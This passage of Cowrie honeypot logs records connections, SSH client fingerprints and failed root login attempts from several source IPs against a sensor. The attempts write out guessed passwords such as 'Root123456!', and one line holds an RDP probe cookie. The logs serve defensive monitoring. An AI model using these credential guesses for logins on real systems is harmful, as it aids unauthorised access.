{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:25.934164Z","src_ip":"171.244.201.80","session":"ccc09bf66ca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deathface1234","message":"login attempt [root/deathface1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:26.943522Z","src_ip":"171.244.201.80","session":"ccc09bf66ca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39294,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e6434ac0b65","protocol":"telnet","message":"New connection: 152.42.224.71:39294 (10.17.0.5:23) [session: 4e6434ac0b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:27.578495Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:28.189404Z","src_ip":"171.244.201.80","session":"ccc09bf66ca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39966,"dst_ip":"10.17.0.5","dst_port":22,"session":"a00f9da143e8","protocol":"ssh","message":"New connection: 103.195.236.96:39966 (10.17.0.5:22) [session: a00f9da143e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:30.490558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:30.495831Z","src_ip":"103.195.236.96","session":"a00f9da143e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:30.731302Z","src_ip":"103.195.236.96","session":"a00f9da143e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"145236","message":"login attempt [root/145236] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:31.663026Z","src_ip":"103.195.236.96","session":"a00f9da143e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:32.903877Z","src_ip":"103.195.236.96","session":"a00f9da143e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51162,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1248b5e8141","protocol":"telnet","message":"New connection: 152.42.224.71:51162 (10.17.0.5:23) [session: a1248b5e8141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:35.068611Z"}
{"eventid":"cowrie.session.closed","duration":48.437724113464355,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:36.232260Z","src_ip":"152.42.224.71","session":"e572cd5ea45b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.54987978935242,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:36.346593Z","src_ip":"152.42.224.71","session":"3d1dcd068d86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57296,"dst_ip":"10.17.0.5","dst_port":23,"session":"648d6f8e5f7c","protocol":"telnet","message":"New connection: 152.42.224.71:57296 (10.17.0.5:23) [session: 648d6f8e5f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:40.702935Z"}
{"eventid":"cowrie.session.closed","duration":93.60361218452454,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:49.447459Z","src_ip":"152.42.224.71","session":"57229e8d2589","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":104.79269576072693,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:53.627259Z","src_ip":"152.42.224.71","session":"b152d105806c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":42134,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6c18c50f550","protocol":"ssh","message":"New connection: 196.189.237.92:42134 (10.17.0.5:22) [session: a6c18c50f550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:54.850240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:54.855784Z","src_ip":"196.189.237.92","session":"a6c18c50f550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:55.025844Z","src_ip":"196.189.237.92","session":"a6c18c50f550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ewp","message":"login attempt [root/ewp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:55.732568Z","src_ip":"196.189.237.92","session":"a6c18c50f550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:56.908062Z","src_ip":"196.189.237.92","session":"a6c18c50f550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.2750289440155,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:20:02.374000Z","src_ip":"152.42.224.71","session":"c8737f3382a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35408,"dst_ip":"10.17.0.5","dst_port":23,"session":"37da3dd3a454","protocol":"telnet","message":"New connection: 152.42.224.71:35408 (10.17.0.5:23) [session: 37da3dd3a454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:20:04.067798Z"}
{"eventid":"cowrie.session.closed","duration":41.88068246841431,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:20:22.583508Z","src_ip":"152.42.224.71","session":"648d6f8e5f7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.67774271965027,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:20:24.746251Z","src_ip":"152.42.224.71","session":"a1248b5e8141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.58807992935181,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:20:26.166453Z","src_ip":"152.42.224.71","session":"4e6434ac0b65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50604,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed02e225ad3b","protocol":"telnet","message":"New connection: 152.42.224.71:50604 (10.17.0.5:23) [session: ed02e225ad3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:20:30.266549Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54951,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a9ec804accb","protocol":"ssh","message":"New connection: 152.42.212.128:54951 (159.203.135.109:22) [session: 7a9ec804accb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:20:43.041506Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:20:43.046273Z","src_ip":"152.42.212.128","session":"7a9ec804accb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:20:43.050009Z","src_ip":"152.42.212.128","session":"7a9ec804accb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":54902,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1d514f0da7c","protocol":"ssh","message":"New connection: 171.244.201.80:54902 (10.17.0.5:22) [session: f1d514f0da7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:00.495662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:00.500292Z","src_ip":"171.244.201.80","session":"f1d514f0da7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:00.749665Z","src_ip":"171.244.201.80","session":"f1d514f0da7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"client","message":"login attempt [root/client] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:01.778625Z","src_ip":"171.244.201.80","session":"f1d514f0da7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:03.045916Z","src_ip":"171.244.201.80","session":"f1d514f0da7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.20169425010681,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:11.468117Z","src_ip":"152.42.224.71","session":"ed02e225ad3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":60918,"dst_ip":"10.17.0.5","dst_port":22,"session":"4374de3d9e55","protocol":"ssh","message":"New connection: 196.189.237.92:60918 (10.17.0.5:22) [session: 4374de3d9e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:18.681270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:18.685967Z","src_ip":"196.189.237.92","session":"4374de3d9e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:18.857420Z","src_ip":"196.189.237.92","session":"4374de3d9e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123456!","message":"login attempt [root/Root123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:19.570342Z","src_ip":"196.189.237.92","session":"4374de3d9e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:20.744322Z","src_ip":"196.189.237.92","session":"4374de3d9e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55818,"dst_ip":"10.17.0.5","dst_port":23,"session":"429f2de24ef2","protocol":"telnet","message":"New connection: 152.42.224.71:55818 (10.17.0.5:23) [session: 429f2de24ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:31.168481Z"}
{"eventid":"cowrie.session.closed","duration":23.208181858062744,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:54.376518Z","src_ip":"152.42.224.71","session":"429f2de24ef2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":60860,"dst_ip":"159.203.135.109","dst_port":22,"session":"124ed5288ae3","protocol":"ssh","message":"New connection: 103.173.227.57:60860 (159.203.135.109:22) [session: 124ed5288ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:56.051780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:56.056097Z","src_ip":"103.173.227.57","session":"124ed5288ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:56.292976Z","src_ip":"103.173.227.57","session":"124ed5288ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999000","message":"login attempt [root/999000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:57.003444Z","src_ip":"103.173.227.57","session":"124ed5288ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:21:58.243364Z","src_ip":"103.173.227.57","session":"124ed5288ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00447678565979,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:04.072114Z","src_ip":"152.42.224.71","session":"37da3dd3a454","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":65364,"dst_ip":"159.203.135.109","dst_port":22,"session":"64563d14a2ff","protocol":"ssh","message":"New connection: 194.59.206.2:65364 (159.203.135.109:22) [session: 64563d14a2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:20.605249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:20.609920Z","src_ip":"194.59.206.2","session":"64563d14a2ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 